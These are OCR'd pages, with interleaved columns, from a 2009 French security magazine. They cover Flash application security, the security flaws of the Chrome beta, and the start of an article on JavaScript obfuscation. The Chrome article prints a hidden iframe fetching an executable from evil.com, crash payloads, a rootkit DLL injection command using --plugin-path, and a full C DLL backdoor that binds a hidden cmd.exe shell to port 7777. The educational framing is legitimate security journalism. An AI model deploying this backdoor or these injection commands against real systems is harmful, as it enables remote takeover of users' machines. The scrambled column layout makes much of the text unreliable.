Comme décrit dans l'aide de Flash, la Outils gratuits
fonction escape convertie le paramètre • http://www.adobe.com/support/flash/downloads.html – Lecteur/Débuggueur Flash,
en chaîne de caractères et l'encode sous • http://www.nowrap.de/flare.html – Décompilateur Flare,
forme d'URL, où la plupart des caractères • http://flasm.sourceforge.net/ – Désassembleur Flasm,
non alphanumérique sont remplacés • http://www.as2lib.org – As2lib,
par des séquence % suivi de la valeur en • http://actioncrypt.sourceforge.net/ – Bibliothèque d'encryption Actioncrypt,
• http://crypto.hurlant.com/ – Framework Crypto As3,
hexadécimal. Considérez la ligne suivante
• https://www.owasp.org/index.php/Category:SWFIntruder – SWFIntruder.
de code qui utilise incorrectement la
1/2009 HAKIN9 17
DOSSIER
Il y a aussi trois valeurs possibles pour administrateurs la possibilité de créer comme le montre la Figure 2. Elle
allowNetworking : leur propre BBCode pour permettre présente toutes les variables non définies
aux utilisateurs de formater ou inclure ainsi que toutes les variables instanciées
• all: Le SWF est autorisé à faire un du contenu additionnel à un sujet de de l'application Flash. Un utilisateur peut
nombre illimité de connexions réseaux discussion. La plupart des administrateurs simplement sélectionner un paramètre
en utilisant les APIs réseaux, ont ajoutés des BBCodes supportant les pour tester et exécuter un set d'attaques.
• internal: Le SWF n'est pas autorisé SWF. Considérez le code HTML risqué Un exemple de résultat de scan XSS
à appeler le navigateur ou à interagir suivant pour remplacer un BBCode Flash. est disponible dans la Figure 3. Une
avec les APIs du navigateur, cependant limitation majeure de SWFIntruder est
les autres appels réseaux sont <embed src={userSWF} type=application/ qu'il supporte seulement l'analyse des
autorisés, -shockwave-flash></embed> applications Flash compilées avec les
• none : Toutes les APIs réseaux sont versions antérieurs à Flash 8 (c'est à dire
désactivées pour le SWF. Dans un environnement hostile où ActionScript 1 or 2).
vous ne pouvez pas faire confiance Les décompilateurs peuvent être très
Il y a seulement deux valeurs possibles aux SWF postés, il est impératif de utiles lors des phases d'audit de code
pour llowFullScreen , positionner explicitement les paramètres source fermé ou d'applications Flash. Un
allowNetworking , allowScriptAccess, décompilateur fournit le résultat inverse
• true : Le SWF est autorisé à prendre et allowFullScreen sur la balise à un compilateur, ainsi il transforme un
complètement l'écran. Peut être utilisé <embed> pour empêcher les applications langage bas niveau d'un SWF en un
pour exécuter des attaques de spoofing, malicieuses de faire des connexions ou langage d'un haut niveau d'abstraction.
• false : Le passage en plein écran n'est appels de scritps non souhaités. Ne vous Un décompilateur Flash va donc
pas autorisé. fiez pas aux paramètres par défaut du prendre du bytecode SWF et générer
lecteur Flash ! le code ActionScript correspondant,
Les plus populaires des applications The code HTML du Listing 9 illustre la qui est plus compréhensible pour un
message board fournissent aux configuration sécurisée. humain. Une analyse statique peut alors
être utilisée sur le code ActionScript
P U B L I C I T É Outils ainsi obtenu, dans le but de découvrir
d'analyse des failles de sécurité. Un exemple de
de sécurité décompilateur gratuit se nomme Flare.
Peu d'outils existe Comme SWFIntruder, Flare ne supporte
afin d'aider à l'audit pas ActionScript 3. Cependant, si vous
d'une application avez de l'argent à dépenser, il existe des
Flash. Stefano Di outils commerciaux qui savent générer
Paola a écrit un les fichiers FLA à partir d'applications
outil permettant ActionScript 1/2 ou ActionScript 3.
de découvrir les
vulnérabilités Conclusion
Flash cross-site Lors du développement d'applications web
scripting et cross- complexes, la plupart des développeurs
site nommé ne connaissent pas tous les risques
SWFIntruder encourus auxquelles leurs applications
(prononcez doivent faire face. S'il est facile de corriger
Swiff Intruder ). une traditionnelle faille de type XSS dans un
L'outil fournit un code quelconque, ce n'est pas aussi simple
set d'attaques sous SWF. Cependant, en suivant une
prédéfinies qui formation et en étant prudent lors du test de
peuvent être chaque valeur d'entrée, les programmeurs,
customisées les testeurs, les administrateurs web
et utilisées afin de peuvent travailler conjointement afin de
tester les failles diminuer les pertes lourdes liées aux
XSS de manière vulnérabilités dans les applications Flash.
quasi-automatique.
L'outil fonctionne
sur un serveur web Neil Bergman
Neil Bergman est un ingénieur logiciel, artiste et hacker
et est accessible white hat. Il a suivi un cursus informatique et programme
via un browser, depuis sa plus tendre enfance.
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH
1/2009 HAKIN9 19
DOSSIER
SICCHIA DIDIER
Google Chrome
Génèse d'une révolution ?
Degré de difficulté
L
es navigateurs Internet de qualité se des recherches globales). En plus, ce moteur
comptent sur les doigts d'une seule est aussi apprécié pour sa rapidité de
main : Internet Explorer, Mozilla Firefox, recherche et sa sobriété graphique. Selon ses
Opera, Safari, etc. Il faut bien reconnaître que propres concepteurs et employés, Google
chacun dispose de ses avantages et de ses s'est donné comme mission d'organiser
inconvénients. Généralement, tout le monde l'information à l'échelle mondiale et de la
dispose de son commentaire sur la question rendre universellement accessible et utile.
et c'est l'éternelle querelle d'église. Honnêtement, peut-on encore aujourd'hui
Un jour de 1938, le mathématicien passer une seule journée sans utiliser Google?
américain Edward Kasner se demande quel Néanmoins, Google dispose aussi d'une
nom donner au nombre formé du chiffre 1 suivi stratégie commerciale particulièrement
de 100 zéros. Il pose alors cette intéressante ambitieuse (pour ne pas dire agressive).
question à son neveu de 9 ans, en visite chez Après avoir étendu son quasi-monopole dans
son oncle. À la réflexion de Kasner, le garçon le secteur de l'indexation Internet, Google
répond un mot enfantin : google. Le terme fut cherche maintenant à conquérir le milieu de la
adopté! publicité avec AdSense, l'imagerie satellitaire
À moins d'être totalement hermétique au avec GoogleEarth, les services de messagerie
phénomène Internet de ces 20 dernières électronique avec Gmail, etc. Ajoutons
CET ARTICLE années, tout le monde connaît Google. Ainsi,
EXPLIQUE... cette application Web est (et restera encore
Les avantages du navigateur pour longtemps) le moteur de recherche par
Chrome. excellence. Néanmoins, Google est d'abord
Les inconvénients du navigateur une société fondée en 1998 par Larr y Page
Chrome.
et Serguei Brin dans la sacro-sainte Silicon
Comment exploiter les failles du Valley (Californie, USA). En 2008, ce moteur
navigateur Google.
de recherche est considéré par de nombreux
CE QU'IL FAUT analystes comme étant le moteur le plus
SAVOIR... puissant existant sur Internet : On estime
Savoir utiliser un navigateur à plus de 20 milliards le nombre de
Internet.
documents recensés comprenant images,
Des notions en langage C et
scripting Windows WSH seront
archives diverses, fichiers vidéos
un avantage. et actualités notamment (soit près de 90% Figure 1. ScreenShot du browser Chrome
20 HAKIN9 1/2009
LE NAVIGATEUR INTERNET SELON GOOGLE
maintenant le dernier accroc aux Note : Cet article a été rédigé durant
habitudes des internautes, le navigateur les mois de Septembre et Octobre 2008.
Chrome. Celui-ci fut annoncé dès début Cette indication est importante car
Septembre 2008 et compte déjà de certaines attributions ou failles ne seront
très nombreux partisans dans le monde peut être plus exploitables au moment
trépidant de l'Internet. de votre lecture. La version de Google
Google Chrome est un projet Chrome étudiée est la version bêta
partiellement Open Source. L'expression 0.2.149.27/30.
est paradoxale mais juste, si on Figure 3. Test acid2 sous FireFox
considère que ce navigateur Internet Les avantages du
fonctionne via une API sous licence navigateur Chrome Le terme est idéalement trouvé eu
BSD, comprendre Google Gears. En L'objectif de cet outil est d'optimiser égard à la vitesse d'exécution. Il
conséquence, seul les sources du la navigation Internet et de gagner embarque aussi le moteur HTML
browser Chromium sont sous licence en sécurité et discrétion. En réalité, le auparavant utilisé par le navigateur
libre, les binaires Chrome sont soumis souci principal du browser Chrome Safari (WebKit) et différentes astuces
à un contrat de licence utilisateur final est de privilégier la vitesse d'exécution glanées sur les différents navigateurs
(CLUF ou EULA en français). Le plug- et l'affichage des pages Internet. Pour que sont IE, Opera, Firefox, etc.
in Gears est un prototype logiciel qui atteindre ce compromis intéressant
permet un accession hors-ligne entre vitesse, sécurité et polyvalence, Ainsi, sans révolutionner l'industrie des
à certains ser vices Web. Ainsi, il installe les développeurs Google ont opté pour technologies nouvelles, le navigateur
un moteur de rétention des informations 4 caractéristiques principales Chrome propose une alternative
sur l'ordinateur afin de garder les et importantes : particulièrement intéressante. Encore
données localement. En d'autres termes, une fois, Google frappe fort et risque
Google Gears permet à des applications • Les onglets des différentes sessions de convertir beaucoup de monde à sa
Internet de fonctionner sans accès sont indépendants les uns des cause. Pour illustrer les aptitudes de ce
permanent au réseau mondial grâce aux autres. Ainsi, chaque navigation navigateur d'un seul regard, nous vous
informations préalablements acquises. crée un nouveau processus afin présentons un tableau récapitulatifs des
C'est un des avantages multiples de ce de gagner en vitesse (on parle différentes fonctionnalités des browsers
navigateur Internet. Présentement, nous alors de ségrégation des droits). afin d'aider chacun dans le choix de son
allons évoquer les attributs de cette Effectivement, plusieurs onglets outil. En finalité, tout n'est qu'une histoire
application. en activité ne ralentissent pas le de goûts personnels et de gadgets
système. La navigation est souple quelconques (installation par défaut).
et intuitive, notamment grâce à la Voir Tableau 1. Si on considère
présence d'une page d'accueil attentivement ce tableau (non-exhaustif
particulièrement dynamique avec et sujet à modification dans le court
miniatures des liens favoris, terme), on se rend bien compte que
• Un mode de navigation privée Chrome ne supplante pas encore le
et optionnel permet d'éviter la navigateur multi-plateforme Opera.
présence des cookies (fichiers Néanmoins, il semble déjà bien meilleur
persistants de sessions), les traces que certains de ses acolytes. En
des visites précédentes conclusion (eu égard aux nombreux
et les historiques de navigation Web. blogs qui évoquent le sujet), l'ensemble
L'opération se fait automatiquement de la communauté des internautes
lors de la clôture de l'application attend avec impatience les futurs
Chrome, implémentations, extensions et plugs-in
• Un gestionnaire avancé des tâches avant de se faire un avis solide sur cette
accorde un regard constant sur application nouvelle. L'avenir démontrera
les différents processus en activité. sans doute l'aptitude du navigateur
De cette façon, l'utilisateur peut Chrome à se frotter aux plus grands. En
contrôler la gestion mémoire et les attendant, amusons-nous un peu avec
ressources sollicitées propres au une petite liste des fonctions cachées
microprocesseur de sa machine, de Google Chrome (à commander via la
• Le navigateur Chrome effectue barre d'adresse URL) :
aussi une compilation à la volée
des scripts WSH en langage • about:cache : Liste des fichiers mis
Figure 2. Test acid2 sous Internet Explorer 7 assembleur grâce au moteur V8. en cache,
1/2009 HAKIN9 21
DOSSIER
• about:crash : Affiche l'écran relatif failles. Bien que les vulnérabilités ne pour volonté de nuire. Malheureusement,
à une panne Chrome, constituent pas une légion, elles sont il est possible d'intégrer une commande
• about:dns : Statistiques sur les particulièrement dangereuses et elles ambiguë dans une page HTML sans
résolutions DNS, permettraient de causer beaucoup de qu'elle ne soit soumise préalablement
• about:histograms : Statistiques sur tort aux utilisateurs insouciants. Nous à suggestion. Ainsi, une seule ligne
les commandes Chrome, pourrons citer 3 cas particuliers. Nous de script rudimentaire permet de
• about:memory : Etat de la mémoire évoquerons aussi chacune d'entre elles télécharger et exécuter un programme
utilisée, au travers d'intertitres distincts : dangereux comme un trojan, un
• about:network : Outil relatif au malware ou un virus encore. En réalite,
téléchargement, • Exécution automatisée de script le problème concerne l'absence de filtre
• about:plugins : Liste détaillée des WSH, sur caractères afin d'éviter les failles d'un
plug-ins installés, • Injection d'une librairie dans un type semblable aux traditionnels XSS
• about:stats : Quelques statistiques processus du browser, (cross site scripting). Voici le modèle, on
sur Google Chrome, • Débordement d'allocation mémoire. ne peut plus simple puisqu'il semblerait
• about:version : affiche la version qu'aucun caractère quelconque ne soit
de Google Chrome. Failles pseudo XSS et DoS filtré. Aucune suggestion ou autorisation
dans le navigateur Chrome n'est soumise à l'utilisateur. Aussi, on peut
Les faiblesses du Il faut bien comprendre que (pour rediriger une navigation vers un autre site
navigateur Chrome le moment) le navigateur Chrome sans devoir avertir l'internaute (attention
Néanmoins (et comme toutes les de Google ne fonctionne que sous au phishing) :
applications au stade du développement environnement Windows. De ce fait, il
premier), notre navigateur étudié embarque les processus <script>
comporte de nombreuses failles, et librairies nécessaires à l'exécution de document.write('<iframe src=
bugs et problèmes quelconques. scripts selon la société du Redmond, http://www.evil.com/prog.exe
Dès le lendemain de son lancement, comprendre WSH. En temps normal, frameborder=0 width=0 height=0'>
des pirates faisaient connaître il convient de gérer cette alternative </script>
triomphalement quelques singularités avec l'accord de l'utilisateur ou de
propres au navigateur Chrome, aussi l'administrateur réseau afin d'éviter les De la même façon, certains caractères
des méthodes afin d'exploiter ces exécutions automatisées de scripts ayant engendrent des difficultés d'interprétation
Tableau 1. Comparatif des différents navigateurs
Fonctionnalité IE7 FireFox v3 Opera v9 Chrome
22 HAKIN9 1/2009
SecureIP Solutions
LE NAVIGATEUR INTERNET SELON GOOGLE
La sécurité de l’information est une chose importante pour les entreprises et même
pour les particuliers. C’est pourquoi SecureIP Solutions vous propose différents
produits et services pour protéger vos précieuses données tels qu’un service de
sauvegarde en ligne, les différents produits BitDefender et bien plus encore.
http://www.secureip.ca
NUMERANCE
NUMERANCE, Spécialisée dans la sécurité informatique, intervient auprès des
Petites et Moyennes Entreprises, en proposant des prestations d’audit, d’accompa-
gnement, et de formation.
http://www.numerance.fr
TippingPoint
TippingPoint est un leader mondial dans la prévention des intrusions réseaux (Ne-
twork IPS) de 50Mbps à 10Gigabits ainsi que la vérification d’intégrité de poste et
le contrôle d’accès du réseau (NAC).
Tél : 01 69 07 34 49, E-mail : francesales@tippingpoint.com
http://www.tippingpoint.com
Sysdream
Cabinet de conseil et centre de formation spécialisé en sécurité informatique. L’e-
Pour plus de renseignement : hakin9@hakin9.org
xpérience c'est avant tout les recherches publiques, visant à améliorer la sécurité
des applications et des systèmes d’informations. Les résultats disponibles sur des
portails de recherche, dans la presse spécialisés.
http://www.sysdream.com
Cybertrust
Spécialiste mondial de la sécurité de l’information, Cybertrust offre des servi-
ces destinés à sécuriser les données critiques, protéger les identités et aider ses
clients à prouver leur conformité aux normes industrielles. Cybertrust, est l’un des
premiers fournisseurs mondiaux pour la sécurité de l’information et un leader glo-
bal sur le marché des services de gestion et supervision de la sécurité – MSS. Cy-
bertrust 54/56 Avenue Hoche 75008 Paris France Tél. : +33 (0)1 56 60 58 01
france@cybertrust.com
Micro-Services-Plus
Une équipe spécialisée dans la sécurité informatique, Spécialiste Linux depuis
1999, Groupware, sauvegarde incrémentale, FireWalls Personnalisés, VPN, sont
notre métier.
Tél : 04 74 59 78 35 Fax : 04 74 59 78 36
DÉPARTEMENT PROFESSIONNEL
http://www.micro-services-plus.org
Optik Sécurité
Une etreprise québécoise spécialisée dans le développement et l'implantation de
passerelles de sécurité et de productivité. Leurs solutions clés en main et modula-
ires de parefeu, IDS, VPN et proxy s'integreront a la pérfection dans votre réseau.
De plus, un service de gestion a distance est également disponible.
http://www.optiksecurite.com
MICROCOMS
Microcoms est une société spécialisée dans les produits Microsoft qui a pour vo-
cation d'aider les particuliers, les TPE-PME et les professions libérales sur 6 axes
principaux de l'informatique : Assister, Dépanner, Conseiller, Sécuriser, Former,
Maintenir.
Club .PRO
Tél. : 01.45.36.05.81
e-mail : contact@microcoms.net
http://www.microcoms.net
ALTOSPAM
Ne perdez plus de temps avec les spams et les virus. Sécurisez simplement vos
emails professionnels. ALTOSPAM est un logiciel externalisé de protection de la
messagerie électronique : anti-spam, anti-virus, anti-phishing, anti-scam...
Testez gratuitement notre service, mis en place en quelques minutes.
http://www.altospam.com OKTEY – 5, rue du Pic du Midi – 31150 GRATENTOUR
1/2009 HAKIN9 23
DOSSIER
sous Chrome. Le modèle % provoque un window.refresh();
simple plantage (DoS). Certes, il ne s'agit window.open("\rn\rn");
pas d'un problème majeur, mais il traduit </script>
Microsfot IE
parfaitement bien la situation ambiguë
propre au filtrage des caractères RootKit facile sous Google Firefeox
sensibles. Vous pourrez essayer Chrome
quelques variantes. Nous ajoutons aussi L'injection d'une librairie au sein d'un Safai
une fonction sur le modèle précédent processus existant est habituellement Other
about : et une chaîne de caractères trop une technique avancée afin d'intégrer
longue (considerez plusieurs milliers de un rootkit dans un système Win32/64.
caractères afin de contraindre au DoS) : Il est particulièrement intéressant de
noter que les développeurs du browser
<a href="EVIL:%">link</a> Chrome ont exploité cette alternative afin Figure 5. Utilisation des différents
about:% de pouvoir intégrer des extensions à ce navigateurs
<a href="/crash/crash/crash/[...]/"> navigateur. L'idée est ingénieuse mais le
crash me</a> problème devient important si aucune et au sein d'un processus autorisé.
vérification sur la librairie ne survient. Il était très difficile alors de localiser
Dans la même veine, la consommation Ainsi la commande --plugin-path ne ce thread malin dans la liste des
mémoire du navigateur Chrome devient contrôle pas la nature et la provenance applications connues. Afin d'obtenir un
particulièrement gourmande si on utilise de ces susdites librairies. Il devient alors shell, cette source de DLL codée en C
certains caractères habituellement très facile d'injecter un code hostile dans est idéale. C'est un exemple parmi tant
réservés à la tabulation, au retour à la un processus Chrome. Ainsi, la librairie d'autres qui illustre bien le protocole
ligne, etc. Il existe un exploit simple qui se charge et DLLmain est exécuté selon propre aux librairies (considérez l'entrée
démontre la sensibilité du browser les conventions propres aux Dynamique unique DLLmain) :
à quelques commandes malignes Link Librar y. Certes, l'application se
(encore une fois, c'est un problème de clôture mais (comme le dit l'auteur de Introduction aux
filtrage des caractères) : l'a dvisor y) le mal est déjà fait. Voici la débordements de tampon
commande : S'il fallait vulgariser les principes
<script language="javascript"> Shell "c:\users\xxxxx\appdata\ propres à l'exécution d'un programme
window.open("\rn\rn"); local\google\ quelconque, nous pourrions finalement
chrome\application\ réduire la foultitude d'explications
chrome.exe –lang=fr complexes à quelques idées maîtresses.
--type = plugin – Ainsi, (en simplifiant au maximum) une
channel=3968.2993070. application en activité sous-entend :
1103732645 –plugin-
path=""c:\dossier\ • Des allocations de mémoire
rootkit.dll""" réservées,
• Une pile dynamique d'informations,
Note : Le numero du channel peut être • Un flux constant de commandes et
recuperé en listant les différents processus fonctions.
de chrome. N'oubliez pas que c'est
justement l'une des pertinences propres Cette perception simpliste d'une nature
à ce navigateur. En d'autres termes, c'est autrement plus complexe permet
un rootkit windows à moindre coût :) de comprendre l'interdépendance
Au mois de Mars 2007, nous avions de ces trois grands ensembles.
déjà consacré un long article sur les Ef fectivement, l'architecture propre
nouvelles formes de rootkits sous aux dif férents OS reste sensiblement
Windows. Cet article expliquait qu'il était identique au phénomène expliqué
Figure 4. Test acid2 sous Opera et possible d'injecter le code d'une librairie auparavant. Que ce soit IOS, UNIX ou
Chrome (résultat identique) dans une plage de mémoire valide encore Win32, ils s'emploient tous aux
24 HAKIN9 1/2009
LE NAVIGATEUR INTERNET SELON GOOGLE
mécaniques identiques afin d'exécuter nous. Dès le début des années 2000, autant que navrante. Les habitudes de
un programme. Néanmoins, puisque les administrateurs réseau (aussi programation (notamment en C/C++)
chacun profite des avantages d'une les particuliers) se sont retrouvés étaient extrêmement discutables.
pareille architecture (sur laquelle face à un problème particulièrement D'ailleurs, aujourd'hui encore, il n'est
repose l'ensemble de l'informatique intéressant : les débordements pas rare de rencontrer une pareille
moderne), il est logique d'en percevoir d'allocations mémoire (BOF). Après faille dans une application quelconque.
les faiblesses intrinsèques. Expliquons- analyse, la conclusion était inéluctable, C'est d'ailleurs le cas du navigateur
Chrome. Attardons-nous un court instant
sur le principe de cette ambiguïté. De
Listing 1. Une BackDoor au sein d’une DLL
nombreux articles ont été consacrés à
#define WIN32_LEAN_AND_MEAN cette vulnérabilité et à son exploitation.
#define MAX 256
En conséquence, nous ne traiterons
//#include <windows.h>
#include <stdio.h> que de l'esprit théorique sans aborder
#include <winsock2.h> les pertinences. Nous vous renvoyons
// Project - Settings - Link > Object/Library modules 'Ws2_32.lib' à d'autres articles disponibles sur
#pragma comment (lib,"Ws2_32.lib")
// Le port que nous utiliserons -
l'Internet.
int port = 7777; En théorie, la perception claire de
BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD lol, LPVOID lpReserved) cette vulnérabilité est simple à acquérir.
{
Imaginons une application au stade du
if( lol != DLL_PROCESS_ATTACH )return TRUE;
WSADATA wsa; // Constructeur wsa - développement comme Chrome. Dans
SOCKET sck; // Constructeur socket - le code source, l'une des allocations de
SOCKADDR_IN sAddr; // Constructeur rapport serveur - mémoire réclame un volume de n octets.
PROCESS_INFORMATION pi; // Constructeur Info sur service CMD -
STARTUPINFO si; // Constructeur Info de démarrage CMD -
Afin de simplifier notre étude, nous
WSAStartup( 0x0202, &wsa ); // Version 2 du socket Win32 - apportons une dénomination pratique
memset( &si, 0, sizeof( si ) ); // Initialisation de &si à 0 - à cette allocation, en l'occurence
si.cb = sizeof( si ); // sizeof -
tampon.
si.wShowWindow = SW_HIDE; // Option masquée de la console -
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // Flag - De plus, c'est l'utilisateur prochain
// Acceptation d'un client éventuel sans restriction - du programme qui définira cette entrée
sAddr.sin_addr.s_addr = INADDR_ANY; grâce à une chaîne de caractères.
sAddr.sin_port = htons( port ); // Port -
Elle pourrait correspondre à un login/
sAddr.sin_family = AF_INET; // Adresse Internet selon 4 octets -
// On accepte le client pour le rapport distant - password, une adresse Web dans un
sck = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); navigateur, une commande FTP, etc.
// Point de communication (ou s'il y a un problème, on termine) - Les semaines passent, le travail de
if( bind( sck, ( LPSOCKADDR )&sAddr, sizeof( sAddr ) )
== INVALID_SOCKET ){return TRUE;}
développement est achevé, le code est
// Ecoute du socket avec un maximum de 5 requêtes simultanées - compilé et le programme se retrouve sur
listen( sck, 5 ); des dizaines de milliers de machines
sck = accept( sck, NULL, NULL );
éparses dans le monde et l'Internet.
// InPut & OutPut pour redirection sur Handle du socket -
si.hStdInput = ( HANDLE )sck; Jusqu'ici tout va bien.
si.hStdOutput = ( HANDLE )sck; Or, durant chaque session, les
si.hStdError = ( HANDLE )sck; utilisateurs de l'application définissent
CreateProcess( NULL,
l'allocation tampon. Mais que se passe-
"cmd.exe", // Notre service CMD -
NULL, // Aucune ligne de commande de base - t-il lorsque l'entrée dépasse le volume
NULL, // Null par défaut - qui lui est accordé, comprendre n
TRUE, // Attributs du Thread - octets. En théorie et selon le degré du
NULL, // Flag Null -
NULL, // Null par défaut -
débordement, il se produit un décalage
NULL, // Null par défaut - important dans la pile. Le chaos
&si, // Pointeur STARTUPINFO - résultant de cette mécanique provoque
&pi ); // Pointeur PROCESS_INFORMATION -
un arrêt du programme, un déni de
// Attente d'un évènement sur le process CMD sans limite de temps -
WaitForSingleObject( pi.hProcess, INFINITE ); service (DoS).
// En cas d'évènement ou erreur, on rend la main ... Illustrons notre explication par
CloseHandle( pi.hProcess ); // Sur le process - deux modèles URL, dont le second ne
CloseHandle( pi.hThread ); // Sur le thread -
respecte pas un volume déclaré (pour
closesocket( sck ); // Sur le socket -
WSACleanup(); // Eradication du socket - notre exemple, on imagine 17 octets
return TRUE; // On rend la main - seulement). Au-delà de ce volume, nous
}
nous retrouvons avec un problème de
type débordement de tampon
1/2009 HAKIN9 25
DOSSIER
(en anglais buffer overflow). En théorie, Dans notre cas, le navigateur Chrome ou affichez sur les Services ou par le
les 3 derniers caractères sont de trop, la est vulnérable à un débordement de biais de ces derniers.
stabilité du programme est compromise. tampon sur la variable TITLE d'une
Vous remarquerez facilement qu'il page Web. Lorsqu'un internaute tente Néanmoins, auparavant le texte était
est possible d'entrer une chaîne de de copier et de lire une page HTML beaucoup plus permissieux. Beaucoup
caractères bien supérieure à la variable comportant un titre beaucoup trop long, ont été particulièrement surpris de
définie, comprendre 17 octets (voir le débordement permet d'écraser le rEIP considérer les attributions que Google
Tableau 2). et d'exécuter une ShellCode malin. La s'accordait. Certes, l'entorse est corrigé
Note : Notez que nous avons variable TITLE doit contenir plusieurs mais il traduit bien les ambitions du
utilisé l'expression en théorie dans milliers de caractères. cette vulnérabilité groupe. Il y a avait présentement un
le précédent paragraphe. Pour des constitue sous Chrome un véritable cas certain paradoxe concernant les droits
raisons de formatage du texte, nous d'école tant elle est facile à mettre en d'auteur et les logiciels libres. Nous
avons illustrer notre exemple via des œuvre et à exploiter. faisons figurer un extrait de l'ancienne
volumes très faibles. Or, la notion de licence :
débordement de tampon (ainsi que Test du WaSP
l'allocation de mémoire) sous-entend Le Web Standards Project (WaSP) est • 11.1(...)En fournissant, publiant ou
bien souvent des volumes beaucoup un groupe de concepteurs de sites web affichant le contenu, vous accordez
plus important. professionnels qui promeut l'utilisation à Google une licence permanente,
Il nous reste encore à citer le des standards recommandés par le irrévocable, mondiale, gratuite et non
problème majeur d'un code de cet World Wide Web Consortium (W3C). Créé exclusive permettant de reproduire,
acabit. Notre précédente explication en 1998, le Web Standards Project milite adapter, modifier, traduire, publier,
concluait à un DoS. Néanmoins, il est pour les usages des standards sur la présenter en public et distribuer
possible d'exploiter cette faille afin Toile. Cette politique permet de réduire le tout Contenu que vous avez fourni,
d'exécuter des commandes autrement coût et la complexité du développement publié ou affiché sur les Services ou
interdites en profitant des droits de sites web. Le WaSP collabore avec les par le biais de ces derniers. Cette
accordés au programme vulnérable. éditeurs de navigateurs Web, de logiciels licence a pour seul but de permettre
Comment est-ce possible ? d'édition de site Web, ainsi qu'avec à Google d’afficher, de distribuer
Lorsque le débordement s'emploie d'autres concepteurs de site Web afin et de promouvoir les Services et peut
à utiliser plusieurs centaines (voire des de concrétiser le véritable potentiel des être révoquée pour certains Services,
milliers) d'octets, le décalage est tel standards sur Internet. Le WaSP est selon les dispositions des Conditions
qu'il vient écraser le rEIP, comprendre donc à l'origine de plusieurs tests qui supplémentaires applicables à ces
le registre de pile correspondant confirment ou infirment la pertinence Services,
à l'adresse de retour sur instruction. Si le d'un navigateur. Le plus connu de tous • 11.2 Vous admettez que cette licence
volume exact est clairement identifié, un est le test nommé Acid2 qui affiche un inclut le droit pour Google de rendre
débordement peut redéfinir la variable smiley selon efficacité. Les résultats sont ce Contenu disponible pour d’autres
de 4 octets contenue dans le rEIP afin révélateurs du respect des standards du sociétés, organisations ou individus
de rebondir sur une portion de code Web. Nous ferons figurer en référence partenaires de Google pour la mise
supplémentaire. les navigateurs Opera, FireFox et Google à disposition de services syndiqués,
Durant l'exploitation d'un BOF, il Chrome (notez les résultats IE qui sont ainsi que le droit d’utiliser ce Contenu
convient de jumper sur un segment de affligeants de médiocrité). en relation avec la mise à disposition
la chaîne de caractères (notre allocation de ces services,
tampon) qui comporte un shellcode. Le paradoxe du libre selon Google • 11.3 Vous reconnaissez que Google,
Celui-ci est exécuté avec les droits de Au début du mois de Septembre en effectuant les étapes techniques
l'application vulnérable. En conclusion, et après l'indignation d'un bon nombre requises pour fournir les Services
reprenons notre explication figurant dans d'internautes soucieux des droits de à nos utilisateurs, peut (a)
notre introduction afin de démontrer chacun, Google est revenu sur les transmettre ou distribuer votre
que l'exploitation d'un BOF engage la termes et obligations exprimés dans la Contenu sur divers réseaux publics
mécanique complexe propre licence d'utilisation CLUF (en français ou dans divers média et (b) apporter
à l'informatique contemporaine : EULA). Aujourd'hui, on peut lire le texte les modifications nécessaires
suivant (nous citons) : à votre Contenu en vue d’adapter ce
• Une allocation de mémoire est Contenu aux exigences techniques
débordée, • 11Licence relative à votre liées à la connexion des réseaux,
• Le rEIP de la pile dynamique est ContenuVous conservez les droits des dispositifs, des services ou
écrasé, d'auteur et tous les autres droits des médias. Vous reconnaissez
• Un flux de commandes et fonctions en votre possession vis-à-vis du que cette licence autorise Google
est exécuté. Contenu que vous fournissez, publiez à entreprendre ces actions.
26 HAKIN9 1/2009
Sur Internet
Voici une liste des failles découvertes sur le navigateur Chrome et évoquées dans notre article :
• http://blogs.codes-sources.com/ebartsoft/rss.aspx.
• http://fr.wikipedia.org/wiki/Dépassement_de_tampon,
• http://www.hsc.fr/ressources/breves/stackoverflow-exploit.html.fr.
• http://www.webstandards.org.
• http://www.google.com/chrome/index.html.
1/2009 HAKIN9 27
DOSSIER
DAVID MACIEJAK
Obfuscation
de code javascript (partie 1)
Degré de difficulté
A
fin de contourner les systèmes de d'étudier les scripts (citons par exemple Malzilla
protection IDS/IPS ou AV, une personne et Rhino). Cependant ils ne font pas tout le travail.
malveillante peut avoir recours aux De ce fait, dans cet article en 3 parties,
techniques d'obfuscation. Ces méthodes sont nous allons fournir quelques exemples
le plus souvent combinées ensemble afin trouvés sur Internet et dont la permissivité est
d'obfusquer les scripts plusieurs fois. Pour volontairement graduelle. Nous allons aussi
illustrer le principe de la façon la plus simple, on
parlera de camouflage du code. Le caractère
Listing 1. Obfuscation basique de chaînes
furtif de l'attaque est ainsi optimal! de caractères
Depuis peu, nous voyons apparaître
var cuteqqado="A"+"d"+"o"+"d"+"b."+"S"+"t"+
des techniques d'obfuscation dynamique
"r"+"e"+"a"+"m";
(comprendre polymorphique et côté serveur). var GomManager = new ActiveXObject("oq7ejgoMT
Ainsi, chaque fois que le script est téléchargé hbbeFlnVadR30DBeSX2omWebCtrl.oq7ejgoM
pour exécution, une nouvelle version est ThbbeFlnVadR30DBeSX2omManager.1".
replace (/oq7ejgoMThbbeFlnVadR30DBeSX2
présentée (à noter que cela est souvent le cas
/ ig, "G"));
pour les fichiers exécutables). Ainsi, il est très
difficile d'établir une signature quelconque. Listing 2. Exemple avec Rhino
# rhino
CET ARTICLE Afin de désobfusquer Rhino 1.7 release 1 2008 03 06
EXPLIQUE... les scripts ? js> document={write:print};
Comment les instanciations Tous les scripts obfusqués ne sont pas [object Object]
ActiveX peuvent être cachées en js>"oq7ejgoMThbbeFlnVadR30DBeSX2omWebCtrl.
utilisant un code Javascript.
malicieux. Ne sombrons pas dans la paranoïa
oq7ejgoMThbbeFlnVadR30DBeSX2omManager.1"
compulsive! Néanmoins, il est vrai qu'il n'est .replace(/oq7ejgoMThbbeFlnVadR30DBeSX2/
Comment utiliser des outils
Open Source afin d'automatiser pas courant d'obfusquer un contenu Web, ig, "G")
la désobfuscation des codes mais certaines compagnies ou particuliers GomWebCtrl.GomManager.1
Javascript malicieux.
utilisent ces méthodes. Dès lors, afin d'identifier Listing 3. Script malicieux, le code a été
CE QU'IL FAUT la menace, une analyse minutieuse du script découpé pour plus de clarté :
SAVOIR... s'impose afin de prévenir une exécution
<sCrIpT lAnGuAgE="jAvAsCrIpT">
